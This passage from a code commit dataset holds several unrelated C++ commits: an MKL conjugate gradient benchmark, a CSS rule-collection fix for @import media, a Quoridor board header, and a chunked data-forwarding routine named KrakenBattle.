1);\n        \/\/ x = x + alpha * p\n        cblas_daxpy(n, alpha, &p[0], 1, &x[0], 1);\n        \/\/ r = r - alpha * Ap\n        cblas_daxpby(n, -alpha, &Ap[0], 1, 1.0, &r[0], 1);\n\n        \/\/ z = M^-1 * r\n        z = precon.apply(r);\n\n        \/\/ rsnew = r * z\n        double rsnew = cblas_ddot(n, &r[0], 1, &z[0], 1);\n\n        if (rsnew <= tol * tol) {\n            \/\/ std::cout << \"Found solution\" << std::endl;\n            print_array(\"x\", &x[0], n);\n            return true;\n        }\n\n        \/\/ p = r + (rsnew\/rsold) * p\n        cblas_daxpby(n, 1, &z[0], 1, rsnew \/ rsold, &p[0], 1);\n        rsold = rsnew;\n        iterations = i;\n    }\n\n    return false;\n}\n\n\/\/ Solve an SPD sparse system using the conjugate gradient method with Intel MKL\nint main (int argc, char** argv) {\n\n    sparsebench::benchmarkutils::parseArgs(argc, argv);\n\n    \/\/ read data from matrix market files\n    int n, nnzs;\n    double* values;\n    int *col_ind, *row_ptr;\n    FILE *f;\n    if ((f = fopen(argv[2], \"r\")) == NULL) {\n        printf(\"Could not open %s\", argv[2]);\n        return 1;\n    }\n    read_system_matrix_sym_csr(f, &n, &nnzs, &col_ind, &row_ptr, &values);\n    fclose(f);\n\n    std::vector<double> rhs = sparsebench::io::readVector(std::string(argv[4]));\n\n    std::vector<double> sol(n);\n\n    bool verbose = false;\n    int iterations = 0;\n\n    CsrMatrix a{n, nnzs, values, col_ind, row_ptr};\n    CsrMatrix b{a};\n    ILUPreconditioner pc{a};\n    std::cout << \"--- ILU pc matrix\" << std::endl;\n    pc.pretty_print();\n    std::cout << \"--- ILU pc matrix\" << std::endl;\n    std::cout << \"--- A (CSR) --- \" << std::endl;\n    a.pretty_print();\n    std::cout << \"--- A (CSR) --- \" << std::endl;\n    std::cout << \"--- A (DOK) --- \" << std::endl;\n    a.toDok().pretty_print();\n    std::cout << \"--- A (DOK) --- \" << std::endl;\n    std::cout << \"--- A (DOK - explicit sym) --- \" << std::endl;\n    a.toDok().explicitSymmetric().pretty_print();\n    std::cout << \"--- A (DOK - explicit sym) --- \" << std::endl;\n    std::cout << \"--- A (CSR from --> DOK - explicit sym) --- \" << std::endl;\n    CsrMatrix explicitA(a.toDok().explicitSymmetric());\n    explicitA.pretty_print();\n    std::cout << \"--- A (CSR from --> DOK - explicit sym) --- \" << std::endl;\n    ILUPreconditioner explicitPc{explicitA};\n    std::cout << \"--- Explicit ILU pc matrix\" << std::endl;\n    explicitPc.pretty_print();\n    std::cout << \"--- Explicit ILU pc matrix\" << std::endl;\n\n    sparsebench::utils::Timer t;\n    t.tic(\"cg:all\");\n    bool status = pcg<double, IdentityPreconditioner>(n, nnzs, col_ind, row_ptr, values, &rhs[0], &sol[0], iterations, verbose);\n    t.toc(\"cg:all\");\n\n    std::vector<double> exp = sparsebench::io::readVector(argv[6]);\n    sparsebench::benchmarkutils::printSummary(\n        0,\n        iterations,\n        t.get(\"cg:all\").count(),\n        0,\n        sparsebench::benchmarkutils::residual(exp, sol),\n        0\n    );\n\n    write_vector_to_file(\"sol.mtx.expl\", &sol[0], sol.size());\n\n    mkl_free_buffers ();\n    return 1;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2012, 2013 Esrille Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"CSSRuleListImp.h\"\n\n#include \"CSSMediaRuleImp.h\"\n#include \"CSSStyleDeclarationImp.h\"\n#include \"CSSStyleSheetImp.h\"\n\n#include \"DocumentImp.h\"\n#include \"ViewCSSImp.h\"\n\n#include \"html\/MediaQueryListImp.h\"\n\nnamespace org { namespace w3c { namespace dom { namespace bootstrap {\n\nusing namespace css;\n\nvoid CSSRuleListImp::append(css::CSSRule rule)\n{\n    ruleList.push_back(rule);\n}\n\nbool CSSRuleListImp::PrioritizedRule::getMatches() const\n{\n    return !mql || mql->getMatches();\n}\n\nbool CSSRuleListImp::PrioritizedRule::isActive(Element& element, ViewCSSImp* view) const\n{\n    CSSSelector* selector = getSelector();\n    if (!selector)\n        return true;\n    return selector->match(element, view, true);\n}\n\nvoid CSSRuleListImp::appendMisc(CSSSelector* selector, CSSStyleDeclarationImp* declaration, MediaListImp* mediaList)\n{\n    misc.push_back(Rule{ selector, declaration, ++order, mediaList });\n}\n\nvoid CSSRuleListImp::appendID(CSSSelector* selector, CSSStyleDeclarationImp* declaration, const std::u16string& key, MediaListImp* mediaList)\n{\n    mapID.insert(std::pair<std::u16string, Rule>(key, Rule{ selector, declaration, ++order, mediaList }));\n}\n\nvoid CSSRuleListImp::appendClass(CSSSelector* selector, CSSStyleDeclarationImp* declaration, const std::u16string& key, MediaListImp* mediaList)\n{\n    mapClass.insert(std::pair<std::u16string, Rule>(key, Rule{ selector, declaration, ++order, mediaList }));\n}\n\nvoid CSSRuleListImp::appendType(CSSSelector* selector, CSSStyleDeclarationImp* declaration, const std::u16string& key, MediaListImp* mediaList)\n{\n    mapType.insert(std::pair<std::u16string, Rule>(key, Rule{ selector, declaration, ++order, mediaList }));\n}\n\nvoid CSSRuleListImp::append(css::CSSRule rule, DocumentImp* document, MediaListImp* mediaList)\n{\n    if (!rule)\n        return;\n    if (CSSStyleRuleImp* styleRule = dynamic_cast<CSSStyleRuleImp*>(rule.self())) {\n        if (CSSSelectorsGroup* selectorsGroup = styleRule->getSelectorsGroup()) {\n            for (auto j = selectorsGroup->begin(); j != selectorsGroup->end(); ++j) {\n                CSSSelector* selector = *j;\n                CSSStyleDeclarationImp* declaration = dynamic_cast<CSSStyleDeclarationImp*>(styleRule->getStyle().self());\n                selector->registerToRuleList(this, declaration, mediaList);\n            }\n        }\n    } else if (CSSMediaRuleImp* mediaRule = dynamic_cast<CSSMediaRuleImp*>(rule.self())) {\n        auto ruleList = dynamic_cast<CSSRuleListImp*>(mediaRule->getCssRules().self());\n        if (ruleList) {\n            MediaListImp* mediaList = dynamic_cast<MediaListImp*>(mediaRule->getMedia().self());\n            for (auto i = ruleList->ruleList.begin(); i != ruleList->ruleList.end(); ++i)\n                append(*i, document, mediaList);\n        }\n    } else if (CSSImportRuleImp* importRule = dynamic_cast<CSSImportRuleImp*>(rule.self())) {\n        if (document) {\n            importRule->setDocument(document);\n            importRule->getStyleSheet();  \/\/ to get the CSS file\n            importList.push_back(importRule);\n        }\n    }\n    if (!rule.getParentRule())\n        ruleList.push_back(rule);\n}\n\nvoid CSSRuleListImp::collectRules(RuleSet& set, ViewCSSImp* view, Element& element, std::multimap<std::u16string, Rule>& map, const std::u16string& key, MediaListImp* mediaList)\n{\n    for (auto i = map.find(key); i != map.end() && i->first == key; ++i) {\n        CSSSelector* selector = i->second.selector;\n        if (!selector->match(element, view, false))\n            continue;\n        \/\/ TODO: emplace() seems to be not ready yet with libstdc++.\n        if (i->second.mediaList)\n            mediaList = i->second.mediaList;\n        \/\/ TODO: else ...\n        PrioritizedRule rule(importance, i->second, view->matchMedia(mediaList));\n        set.insert(rule);\n    }\n}\n\nvoid CSSRuleListImp::collectRulesByID(RuleSet& set, ViewCSSImp* view, Element& element, MediaListImp* mediaList)\n{\n    Nullable<std::u16string> attr = element.getAttribute(u\"id\");\n    if (attr.hasValue())\n        collectRules(set, view, element, mapID, attr.value(), mediaList);\n}\n\nvoid CSSRuleListImp::collectRulesByClass(RuleSet& set, ViewCSSImp* view, Element& element, MediaListImp* mediaList)\n{\n    Nullable<std::u16string> attr = element.getAttribute(u\"class\");\n    if (attr.hasValue()) {\n        std::u16string classes = attr.value();\n        for (size_t pos = 0; pos < classes.length();) {\n            if (isSpace(classes[pos])) {\n                ++pos;\n                continue;\n            }\n            size_t start = pos++;\n            while (pos < classes.length() && !isSpace(classes[pos]))\n                ++pos;\n            collectRules(set, view, element, mapClass, classes.substr(start, pos - start), mediaList);\n        }\n    }\n}\n\nvoid CSSRuleListImp::collectRulesByType(RuleSet& set, ViewCSSImp* view, Element& element, MediaListImp* mediaList)\n{\n    collectRules(set, view, element, mapType, element.getLocalName(), mediaList);\n}\n\nvoid CSSRuleListImp::collectRulesByMisc(RuleSet& set, ViewCSSImp* view, Element& element, MediaListImp* mediaList)\n{\n    for (auto i = misc.begin(); i != misc.end(); ++i) {\n        CSSSelector* selector = i->selector;\n        if (!selector->match(element, view, false))\n            continue;\n        \/\/ TODO: emplace() seems to be not ready yet with libstdc++.\n        if (i->mediaList)\n            mediaList = i->mediaList;\n        \/\/ TODO: else ...\n        PrioritizedRule rule(importance, *i, view->matchMedia(mediaList));\n        set.insert(rule);\n    }\n}\n\nvoid CSSRuleListImp::collectRules(RuleSet& set, ViewCSSImp* view, Element& element, unsigned importance, MediaListImp* mediaList)\n{\n    this->importance = importance;\n\n    \/\/ Declarations in imported style sheets are considered to be before any\n    \/\/ declarations in the style sheet itself.\n    \/\/ cf. http:\/\/www.w3.org\/TR\/CSS2\/cascade.html#cascading-order\n    for (auto i = importList.begin(); i != importList.end(); ++i) {\n        if (CSSStyleSheetImp* sheet = dynamic_cast<CSSStyleSheetImp*>((*i)->getStyleSheet().self())) {\n            if (CSSRuleListImp* ruleList = dynamic_cast<CSSRuleListImp*>(sheet->getCssRules().self()))\n                ruleList->collectRules(set, view, element, importance, mediaList);\n        }\n    }\n\n    collectRulesByMisc(set, view, element, mediaList);\n    collectRulesByType(set, view, element, mediaList);\n    collectRulesByClass(set, view, element, mediaList);\n    collectRulesByID(set, view, element, mediaList);\n}\n\nbool CSSRuleListImp::hasHover(const RuleSet& set)\n{\n    for (auto i = set.begin(); i != set.end(); ++i) {\n        CSSSelector* selector = i->getSelector();\n        if (selector && selector->hasHover())\n            return true;\n    }\n    return false;\n}\n\n}}}}  \/\/ org::w3c::dom::bootstrap\n<commit_msg>(CSSRuleListImp::collectRules) : Fix a bug; cf. html4\/at-import-004.htm<commit_after>\/*\n * Copyright 2012, 2013 Esrille Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"CSSRuleListImp.h\"\n\n#include \"CSSMediaRuleImp.h\"\n#include \"CSSStyleDeclarationImp.h\"\n#include \"CSSStyleSheetImp.h\"\n\n#include \"DocumentImp.h\"\n#include \"ViewCSSImp.h\"\n\n#include \"html\/MediaQueryListImp.h\"\n\nnamespace org { namespace w3c { namespace dom { namespace bootstrap {\n\nusing namespace css;\n\nvoid CSSRuleListImp::append(css::CSSRule rule)\n{\n    ruleList.push_back(rule);\n}\n\nbool CSSRuleListImp::PrioritizedRule::getMatches() const\n{\n    return !mql || mql->getMatches();\n}\n\nbool CSSRuleListImp::PrioritizedRule::isActive(Element& element, ViewCSSImp* view) const\n{\n    CSSSelector* selector = getSelector();\n    if (!selector)\n        return true;\n    return selector->match(element, view, true);\n}\n\nvoid CSSRuleListImp::appendMisc(CSSSelector* selector, CSSStyleDeclarationImp* declaration, MediaListImp* mediaList)\n{\n    misc.push_back(Rule{ selector, declaration, ++order, mediaList });\n}\n\nvoid CSSRuleListImp::appendID(CSSSelector* selector, CSSStyleDeclarationImp* declaration, const std::u16string& key, MediaListImp* mediaList)\n{\n    mapID.insert(std::pair<std::u16string, Rule>(key, Rule{ selector, declaration, ++order, mediaList }));\n}\n\nvoid CSSRuleListImp::appendClass(CSSSelector* selector, CSSStyleDeclarationImp* declaration, const std::u16string& key, MediaListImp* mediaList)\n{\n    mapClass.insert(std::pair<std::u16string, Rule>(key, Rule{ selector, declaration, ++order, mediaList }));\n}\n\nvoid CSSRuleListImp::appendType(CSSSelector* selector, CSSStyleDeclarationImp* declaration, const std::u16string& key, MediaListImp* mediaList)\n{\n    mapType.insert(std::pair<std::u16string, Rule>(key, Rule{ selector, declaration, ++order, mediaList }));\n}\n\nvoid CSSRuleListImp::append(css::CSSRule rule, DocumentImp* document, MediaListImp* mediaList)\n{\n    if (!rule)\n        return;\n    if (CSSStyleRuleImp* styleRule = dynamic_cast<CSSStyleRuleImp*>(rule.self())) {\n        if (CSSSelectorsGroup* selectorsGroup = styleRule->getSelectorsGroup()) {\n            for (auto j = selectorsGroup->begin(); j != selectorsGroup->end(); ++j) {\n                CSSSelector* selector = *j;\n                CSSStyleDeclarationImp* declaration = dynamic_cast<CSSStyleDeclarationImp*>(styleRule->getStyle().self());\n                selector->registerToRuleList(this, declaration, mediaList);\n            }\n        }\n    } else if (CSSMediaRuleImp* mediaRule = dynamic_cast<CSSMediaRuleImp*>(rule.self())) {\n        auto ruleList = dynamic_cast<CSSRuleListImp*>(mediaRule->getCssRules().self());\n        if (ruleList) {\n            MediaListImp* mediaList = dynamic_cast<MediaListImp*>(mediaRule->getMedia().self());\n            for (auto i = ruleList->ruleList.begin(); i != ruleList->ruleList.end(); ++i)\n                append(*i, document, mediaList);\n        }\n    } else if (CSSImportRuleImp* importRule = dynamic_cast<CSSImportRuleImp*>(rule.self())) {\n        if (document) {\n            importRule->setDocument(document);\n            importRule->getStyleSheet();  \/\/ to get the CSS file\n            importList.push_back(importRule);\n        }\n    }\n    if (!rule.getParentRule())\n        ruleList.push_back(rule);\n}\n\nvoid CSSRuleListImp::collectRules(RuleSet& set, ViewCSSImp* view, Element& element, std::multimap<std::u16string, Rule>& map, const std::u16string& key, MediaListImp* mediaList)\n{\n    for (auto i = map.find(key); i != map.end() && i->first == key; ++i) {\n        CSSSelector* selector = i->second.selector;\n        if (!selector->match(element, view, false))\n            continue;\n        \/\/ TODO: emplace() seems to be not ready yet with libstdc++.\n        if (i->second.mediaList)\n            mediaList = i->second.mediaList;\n        \/\/ TODO: else ...\n        PrioritizedRule rule(importance, i->second, view->matchMedia(mediaList));\n        set.insert(rule);\n    }\n}\n\nvoid CSSRuleListImp::collectRulesByID(RuleSet& set, ViewCSSImp* view, Element& element, MediaListImp* mediaList)\n{\n    Nullable<std::u16string> attr = element.getAttribute(u\"id\");\n    if (attr.hasValue())\n        collectRules(set, view, element, mapID, attr.value(), mediaList);\n}\n\nvoid CSSRuleListImp::collectRulesByClass(RuleSet& set, ViewCSSImp* view, Element& element, MediaListImp* mediaList)\n{\n    Nullable<std::u16string> attr = element.getAttribute(u\"class\");\n    if (attr.hasValue()) {\n        std::u16string classes = attr.value();\n        for (size_t pos = 0; pos < classes.length();) {\n            if (isSpace(classes[pos])) {\n                ++pos;\n                continue;\n            }\n            size_t start = pos++;\n            while (pos < classes.length() && !isSpace(classes[pos]))\n                ++pos;\n            collectRules(set, view, element, mapClass, classes.substr(start, pos - start), mediaList);\n        }\n    }\n}\n\nvoid CSSRuleListImp::collectRulesByType(RuleSet& set, ViewCSSImp* view, Element& element, MediaListImp* mediaList)\n{\n    collectRules(set, view, element, mapType, element.getLocalName(), mediaList);\n}\n\nvoid CSSRuleListImp::collectRulesByMisc(RuleSet& set, ViewCSSImp* view, Element& element, MediaListImp* mediaList)\n{\n    for (auto i = misc.begin(); i != misc.end(); ++i) {\n        CSSSelector* selector = i->selector;\n        if (!selector->match(element, view, false))\n            continue;\n        \/\/ TODO: emplace() seems to be not ready yet with libstdc++.\n        if (i->mediaList)\n            mediaList = i->mediaList;\n        \/\/ TODO: else ...\n        PrioritizedRule rule(importance, *i, view->matchMedia(mediaList));\n        set.insert(rule);\n    }\n}\n\nvoid CSSRuleListImp::collectRules(RuleSet& set, ViewCSSImp* view, Element& element, unsigned importance, MediaListImp* mediaList)\n{\n    this->importance = importance;\n\n    \/\/ Declarations in imported style sheets are considered to be before any\n    \/\/ declarations in the style sheet itself.\n    \/\/ cf. http:\/\/www.w3.org\/TR\/CSS2\/cascade.html#cascading-order\n    for (auto i = importList.begin(); i != importList.end(); ++i) {\n        if (auto media = dynamic_cast<MediaListImp*>((*i)->getMedia().self()))\n            mediaList = media;\n        \/\/ TODO: else ...\n        if (CSSStyleSheetImp* sheet = dynamic_cast<CSSStyleSheetImp*>((*i)->getStyleSheet().self())) {\n            if (CSSRuleListImp* ruleList = dynamic_cast<CSSRuleListImp*>(sheet->getCssRules().self()))\n                ruleList->collectRules(set, view, element, importance, mediaList);\n        }\n    }\n\n    collectRulesByMisc(set, view, element, mediaList);\n    collectRulesByType(set, view, element, mediaList);\n    collectRulesByClass(set, view, element, mediaList);\n    collectRulesByID(set, view, element, mediaList);\n}\n\nbool CSSRuleListImp::hasHover(const RuleSet& set)\n{\n    for (auto i = set.begin(); i != set.end(); ++i) {\n        CSSSelector* selector = i->getSelector();\n        if (selector && selector->hasHover())\n            return true;\n    }\n    return false;\n}\n\n}}}}  \/\/ org::w3c::dom::bootstrap\n<|endoftext|>"}
{"text":"<commit_before>#ifndef QUORIDOR_BOARD_HPP_\n#define QUORIDOR_BOARD_HPP_\n\n#include <cstdlib>\n\n#include <map>\n#include <memory>\n#include <utility>\n#include <vector>\n\n#include \"pawn.hpp\"\n\n\nnamespace Quoridor {\n\nstruct pos_t {\n    int row;\n    int col;\n\n    bool operator<(const pos_t &pos) const {\n        return (row * 1000 + col) < (pos.row * 1000 + pos.col);\n    }\n};\n\nenum BoardMoves {\n    kForward = 0,\n    kRight = 1,\n    kBackward = 2,\n    kLeft = 3,\n    kPutWall = 4,\n    kCancel = 5,\n    kEND,\n};\n\nclass Wall {\npublic:\n    Wall(int orientation, int line, int start_pos, int cnt);\n    virtual ~Wall();\n\n    int orientation() const { return orientation_; }\n    int line() const { return line_; }\n    int start_pos() const { return start_pos_; }\n    int cnt() const { return cnt_; }\n\nprivate:\n    int orientation_;\n    int line_;\n    int start_pos_;\n    int cnt_;\n};\n\nclass Board {\npublic:\n    Board(int row_num, int col_num);\n    virtual ~Board();\n\n    void set_size(int row_num, int col_num);\n    int row_num() const { return row_num_; }\n    int col_num() const { return col_num_; }\n    int next_side() const;\n\n    int add_pawn(std::shared_ptr<Pawn> pawn);\n    void add_occupied(const pos_t &pos, std::shared_ptr<Pawn> pawn);\n    void rm_occupied(const pos_t &pos);\n    pos_t pawn_pos(std::shared_ptr<Pawn> pawn) const;\n\n    int make_move(BoardMoves move, std::shared_ptr<Pawn> pawn);\n    bool is_at_opposite_side(std::shared_ptr<Pawn> pawn) const;\n    int add_wall(const Wall &wall);\n\nprivate:\n    BoardMoves recalc_move(BoardMoves move, std::shared_ptr<Pawn> pawn);\n    int make_walking_move(BoardMoves move, std::shared_ptr<Pawn> pawn);\n    bool wall_intersects(const Wall &wall) const;\n    bool is_outside_board(const pos_t &pos) const;\n    bool is_possible_move(const pos_t &pos, const pos_t &inc_pos) const;\n\nprivate:\n    int row_num_;\n    int col_num_;\n    std::map<pos_t, std::shared_ptr<Pawn>> occ_fields_;\n    std::map<std::shared_ptr<Pawn>, pos_t> pawn_pos_;\n    mutable std::vector<std::pair<int, int>> sides_;\n    std::map<std::shared_ptr<Pawn>, int> pawn_sides_;\n    std::map<int, std::map<int, Wall>> walls_;\n};\n\n}  \/* namespace Quoridor *\/\n\n#endif  \/* QUORIDOR_BOARD_HPP_ *\/\n<commit_msg>Implement few operators in struct pos_t.<commit_after>#ifndef QUORIDOR_BOARD_HPP_\n#define QUORIDOR_BOARD_HPP_\n\n#include <cstdlib>\n\n#include <map>\n#include <memory>\n#include <utility>\n#include <vector>\n\n#include \"pawn.hpp\"\n\n\nnamespace Quoridor {\n\nstruct pos_t {\n    int row;\n    int col;\n\n    bool operator<(const pos_t &pos) const {\n        return (row * 1000 + col) < (pos.row * 1000 + pos.col);\n    }\n    bool operator==(const pos_t &pos) const {\n        return (row == pos.row) && (col == pos.col);\n    }\n    const pos_t &operator+=(const pos_t &pos) {\n        row += pos.row;\n        col += pos.col;\n        return *this;\n    }\n    const pos_t operator+(const pos_t &pos) {\n        pos_t p = *this;\n        p += pos;\n        return p;\n    }\n};\n\nenum BoardMoves {\n    kForward = 0,\n    kRight = 1,\n    kBackward = 2,\n    kLeft = 3,\n    kPutWall = 4,\n    kCancel = 5,\n    kEND,\n};\n\nclass Wall {\npublic:\n    Wall(int orientation, int line, int start_pos, int cnt);\n    virtual ~Wall();\n\n    int orientation() const { return orientation_; }\n    int line() const { return line_; }\n    int start_pos() const { return start_pos_; }\n    int cnt() const { return cnt_; }\n\nprivate:\n    int orientation_;\n    int line_;\n    int start_pos_;\n    int cnt_;\n};\n\nclass Board {\npublic:\n    Board(int row_num, int col_num);\n    virtual ~Board();\n\n    void set_size(int row_num, int col_num);\n    int row_num() const { return row_num_; }\n    int col_num() const { return col_num_; }\n    int next_side() const;\n\n    int add_pawn(std::shared_ptr<Pawn> pawn);\n    void add_occupied(const pos_t &pos, std::shared_ptr<Pawn> pawn);\n    void rm_occupied(const pos_t &pos);\n    pos_t pawn_pos(std::shared_ptr<Pawn> pawn) const;\n\n    int make_move(BoardMoves move, std::shared_ptr<Pawn> pawn);\n    bool is_at_opposite_side(std::shared_ptr<Pawn> pawn) const;\n    int add_wall(const Wall &wall);\n\nprivate:\n    BoardMoves recalc_move(BoardMoves move, std::shared_ptr<Pawn> pawn);\n    int make_walking_move(BoardMoves move, std::shared_ptr<Pawn> pawn);\n    bool wall_intersects(const Wall &wall) const;\n    bool is_outside_board(const pos_t &pos) const;\n    bool is_possible_move(const pos_t &pos, const pos_t &inc_pos) const;\n\nprivate:\n    int row_num_;\n    int col_num_;\n    std::map<pos_t, std::shared_ptr<Pawn>> occ_fields_;\n    std::map<std::shared_ptr<Pawn>, pos_t> pawn_pos_;\n    mutable std::vector<std::pair<int, int>> sides_;\n    std::map<std::shared_ptr<Pawn>, int> pawn_sides_;\n    std::map<int, std::map<int, Wall>> walls_;\n};\n\n}  \/* namespace Quoridor *\/\n\n#endif  \/* QUORIDOR_BOARD_HPP_ *\/\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * File:   KrakenBattle.cpp\n * Author: Kjell Hedstrom\n *\n * Created on November 24, 2015\n *\/\n\n#include \"KrakenBattle.h\"\n#include <algorithm>\n#include <iterator>\n#include <g3log\/g3log.hpp>\n\nnamespace {\n   const std::string emptyUUID = {\"00000000-0000-0000-0000-000000000000\"};\n   const std::vector<uint8_t> emptyData = {};\n}\n\n\n\nnamespace KrakenBattle {\n\n   \/**\n   * formats the data to send to the Harpoon according to the specification for\n   * data transfers\n   * @param uuid\n   * @param type one of Data, Done, Error, End\n   * @param data to send (optional, used for SendType::Data)\n   * @param error message (optional, used for SendType::Error)\n   * @return merged data uuid<SendType>optional:data\/optional:error_msg\n   *\/\n   Kraken::Chunks  MergeData(const std::string& uuid, const KrakenBattle::SendType& type, const Kraken::Chunks& data, const std::string& error_msg) {\n      const std::string sendType = EnumToString(type);\n      const std::string& uuidToSend = (SendType::End == type ? emptyUUID : uuid);\n      std::vector<uint8_t> merged;\n      merged.reserve(uuidToSend.size() + sendType.size() + data.size() + error_msg.size());\n      \/\/ uuid, type, possible:data, possible:error\n      std::copy(uuidToSend.begin(), uuidToSend.end(), std::back_inserter(merged));\n      std::copy(sendType.begin(), sendType.end(), std::back_inserter(merged));\n\n      if (SendType::Data == type) {\n         std::copy(data.begin(), data.end(), std::back_inserter(merged));\n      } else if (SendType::Error == type) {\n         std::copy(error_msg.begin(), error_msg.end(), std::back_inserter(merged));\n      }\n      return merged;\n   }\n\n\n   \/**\n   *  Send  Chunks over Kraken to a Harpoon\n   *  If chunks to send is more than the @ref Kraken::MaxChunkSizeInBytes() then\n   *  it will split up the sending into several separate sends (@ref Kraken::SendTidalWave)\n   * @param kraken to send over\n   * @param uuid\n   * @param sendState\n   * @param chunk to send (optional content, for SendType::Data)\n   * @param error to send (optional content, for SendType::Error)\n   *\/\n   Kraken::Battling SendChunks(Kraken* kraken, const std::string& uuid, const KrakenBattle::SendType& sendState, const Kraken::Chunks& chunk, const std::string& error) {\n      const size_t kSplitSize = kraken->MaxChunkSizeInBytes();\n      const auto kTotalToSend = MergeData(uuid, sendState, chunk, error);\n      const size_t kTotalSize = kTotalToSend.size();\n      const Kraken::Chunks kHeader = MergeData(uuid, sendState, {}, {}); \/\/ {}: ignored\n      const size_t kSplitSizeAdjusted = kSplitSize - kHeader.size();\n      CHECK(kSplitSize > kHeader.size());\n\n      auto result = Kraken::Battling::CONTINUE;\n\n      if (kTotalSize <= kSplitSize) {\n         result = kraken->SendTidalWave(kTotalToSend);\n      } else {\n\n         std::vector<uint8_t> toSend;\n         toSend.reserve(kSplitSize);\n         toSend.assign(kTotalToSend.begin(), kTotalToSend.begin() + kSplitSize);\n\n         CHECK(toSend.size() == kSplitSize);\n         result = kraken->SendTidalWave(toSend);\n\n         for (size_t i = kSplitSize; i <= kTotalSize; i += kSplitSizeAdjusted) {\n            if (result != Kraken::Battling::CONTINUE) {\n               LOG(WARNING) << \"Sending UUID: \" << uuid << \", #split break: \" << i << \", kTotalSize: \" << kTotalSize\n                            << \", kSplitSizeAdjusted: \" << kSplitSizeAdjusted << \", result: \" << static_cast<int>(result);\n               break;\n            }\n\n            toSend.assign(kHeader.begin(), kHeader.end());\n            const size_t kLeftSize = kTotalSize - i;\n            const size_t kChunkSize = std::min(kLeftSize, kSplitSizeAdjusted);\n            std::copy(kTotalToSend.begin() + i,\n                      kTotalToSend.begin() + i + kChunkSize,\n                      std::back_inserter(toSend));\n            LOG(INFO) << \"Sending UUID: \" << uuid << \", #split: \" << i << \", toSend size: \" << toSend.size();\n            result = kraken->SendTidalWave(toSend);\n         }\n      }\n      return result;\n   }\n\n\n\n   \/**\n   * Forward  chunks to the client. This will be repeatedly called until an error\n   * occurrs (interrupt, timeout) or all is transmitted\n   * @param kraken to send the harpoon\/client\n   * @param uuid to for unique identification\n   * @param chunk to send to the client should have valid data on SendState::Data\n   * @param sendState (End, Done, Data, Error)\n   * @param error should have meaningful content on  SendState::Error\n   *\/\n   KrakenBattle::ProgressType  ForwardChunksToClient(Kraken* kraken, const std::string& uuid, const Kraken::Chunks& chunk,\n         const KrakenBattle::SendType& sendState, const std::string& error) {\n      auto sendingResult = SendChunks(kraken, uuid, sendState, chunk, error);\n      bool result = (Kraken::Battling::CONTINUE == sendingResult);\n      LOG_IF(WARNING, (!result)) << \"Failed to send 'SendTidalWave'\" << \", uuid: \" << uuid\n                                 << \", type: \" << KrakenBattle::EnumToString(sendState);\n\n      if (SendType::End == sendState) {\n         sendingResult = kraken->FinalBreach();\n         result = (Kraken::Battling::CONTINUE == sendingResult);\n         LOG_IF(WARNING, (!result)) << \"Failed to send 'FinalBreach'\" << \", uuid: \" << uuid\n                                    << \", type: \" << KrakenBattle::EnumToString(sendState);\n      }\n\n      auto status = KrakenBattle::ProgressType::Stop;\n      if (result) {\n         status = KrakenBattle::ProgressType::Continue;\n      }\n      return status;\n   }\n\n\n\n\n   std::string EnumToString(const KrakenBattle::SendType& type) {\n      std::string textType = \"<ERROR>\";\n      switch (type) {\n         case SendType::Data : textType = \"<DATA>\"; break;\n         case SendType::Done : textType = \"<DONE>\"; break;\n         case SendType::Error : textType = \"<ERROR>\"; break;\n         case SendType::End : textType = \"<END>\"; break;\n         default:\n            LOG(FATAL) << \"Unknown Send::Type: \" << static_cast<int>(type);\n      }\n      return textType;\n   }\n\n   std::string EnumToString(const KrakenBattle::ProgressType& type) {\n      std::string textType = \"<ERROR>\";\n      switch (type) {\n         case ProgressType::Stop : textType = \"ProgressType::Stop\"; break;\n         case ProgressType::Continue : textType = \"ProgressType::Continue\"; break;\n         default:\n            LOG(FATAL) << \"Unknown Send::Type: \" << static_cast<int>(type);\n      }\n      return textType;\n   }\n} \/\/ namespace KrakenBattle\n<commit_msg>Fixed comment<commit_after>\/*\n * File:   KrakenBattle.cpp\n * Author: Kjell Hedstrom\n *\n * Created on November 24, 2015\n *\/\n\n#include \"KrakenBattle.h\"\n#include <algorithm>\n#include <iterator>\n#include <g3log\/g3log.hpp>\n\nnamespace {\n   const std::string emptyUUID = {\"00000000-0000-0000-0000-000000000000\"};\n   const std::vector<uint8_t> emptyData = {};\n}\n\n\n\nnamespace KrakenBattle {\n\n   \/**\n   * formats the data to send to the Harpoon according to the specification for\n   * data transfers\n   * @param uuid\n   * @param type one of Data, Done, Error, End\n   * @param data to send (optional, used for SendType::Data)\n   * @param error message (optional, used for SendType::Error)\n   * @return merged data uuid<SendType>optional:data\/optional:error_msg\n   *\/\n   Kraken::Chunks  MergeData(const std::string& uuid, const KrakenBattle::SendType& type, const Kraken::Chunks& data, const std::string& error_msg) {\n      const std::string sendType = EnumToString(type);\n      const std::string& uuidToSend = (SendType::End == type ? emptyUUID : uuid);\n      std::vector<uint8_t> merged;\n      merged.reserve(uuidToSend.size() + sendType.size() + data.size() + error_msg.size());\n      \/\/ uuid, type, possible:data, possible:error\n      std::copy(uuidToSend.begin(), uuidToSend.end(), std::back_inserter(merged));\n      std::copy(sendType.begin(), sendType.end(), std::back_inserter(merged));\n\n      if (SendType::Data == type) {\n         std::copy(data.begin(), data.end(), std::back_inserter(merged));\n      } else if (SendType::Error == type) {\n         std::copy(error_msg.begin(), error_msg.end(), std::back_inserter(merged));\n      }\n      return merged;\n   }\n\n\n   \/**\n   *  Send  Chunks over Kraken to a Harpoon\n   *  If chunks to send is more than the @ref Kraken::MaxChunkSizeInBytes() then\n   *  it will split up the sending into several 